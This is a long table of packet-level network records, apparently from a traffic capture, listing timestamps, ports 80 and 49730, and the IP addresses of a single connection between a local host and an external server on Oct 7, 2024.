Oct 7, 2024 21:19:04.470923901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.470946074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.470961094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.470980883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.471000910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.471004009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.471031904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.471046925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.471070051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.547672033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.547727108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.547782898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.547812939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.547842979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.547866106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.547903061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.547904968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.547921896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.547940969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.547949076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.547976017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.547981977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548018932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548022985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548072100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548075914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548110008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548119068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548146009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548151016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548180103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548187971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548214912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548223019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548249006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548284054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548321962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548324108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548324108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548367023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548367023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548711061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548774958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.548950911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.548986912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.549004078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.549029112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.555448055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.555558920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.555636883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.555690050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.595942020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.596051931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.596087933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.596087933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.596123934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.596124887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.596137047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.596163988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.596170902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.596210003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672132015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672259092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672316074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672348022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672363997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672385931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672409058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672419071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672430038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672462940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672473907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672509909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672521114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672550917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672554016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672584057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672594070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672620058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672625065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672653913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672662973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672688007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672696114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672723055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672732115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672758102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672761917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672799110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.672800064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.672843933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.673089027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.673122883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.673135996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.673161030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.673177004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.673208952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.673221111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.673244953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.673249006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.673288107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.673434973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.673485994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.673949957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.674000025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.721601963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.721656084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.721674919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.721714020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.721733093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.721746922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.721759081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.721782923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.721797943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.721821070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.721832991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.721869946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797209978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797286034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797322989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797327995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797353983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797388077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797389030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797420025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797426939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797461033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797466993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797497034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797509909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797529936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797548056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797569036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797588110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797615051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797662020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797715902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797715902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797754049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797769070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797787905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797802925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797828913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797854900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797909021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.797929049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.797961950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.798002958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.798052073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.798095942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.798141956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.798161983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.798211098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.798242092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.798278093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.798294067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.798311949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.798324108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.798371077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.846704006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.846801996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.846837997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.846860886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.846873045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.846904039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.846957922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.881418943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.881506920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.881508112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.881566048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.937433004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937475920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937501907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937516928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937532902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937547922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937565088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937578917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937580109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.937597036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937613010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937629938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937643051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.937673092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937689066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937701941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.937721968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.937767982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.937855005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937871933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937886953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.937899113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.937920094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.937944889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.938122034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.938137054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.938153028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.938178062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.938199043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.938220978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.938266993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.938282967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.938297987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.938325882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.938358068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.973300934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.973372936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.973411083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.973444939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.973459959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.973480940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:04.973534107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:04.973582983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046003103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046034098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046039104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046053886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046071053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046092987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046137094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046188116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046235085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046291113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046308041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046339035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046361923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046384096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046406031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046412945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046417952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046430111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046451092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046489000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046614885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046632051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046648979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.046664953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.046694040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.047378063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.047406912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.047425032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.047461987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.047494888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.047516108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.047532082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.047548056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.047568083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.047589064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.095685005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.095798969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.095803976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.095820904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.095848083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.095863104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.095864058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.095880032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.095897913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.095923901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.095949888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.169778109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.169800043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.169853926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.169867992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170072079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.170072079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.170494080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170510054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170525074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170563936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.170592070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.170645952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170660973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170675993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170691967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170701027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.170707941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170722961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.170722961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170738935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170761108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.170789003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.170938969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.170986891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.170993090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.171009064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.171051025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.171176910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.171224117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.171319008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.171334028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.171356916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.171365976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.171372890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.171394110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.171421051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.171469927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.171484947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.171515942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.171547890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.220413923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.220571041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.220571041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.220597029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.220613956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.220628023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.220635891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.220652103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.220685959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.294900894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.294925928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.294944048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.294969082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.294982910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.294997931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295013905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295141935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.295141935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.295211077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295236111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295250893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295260906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.295298100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.295361042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295377016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295408010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295422077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295435905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.295474052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.295551062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.295609951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:05.295989990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.296005011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:05.296019077 CEST	80	49730	185.215.113.37	192.168.2.4
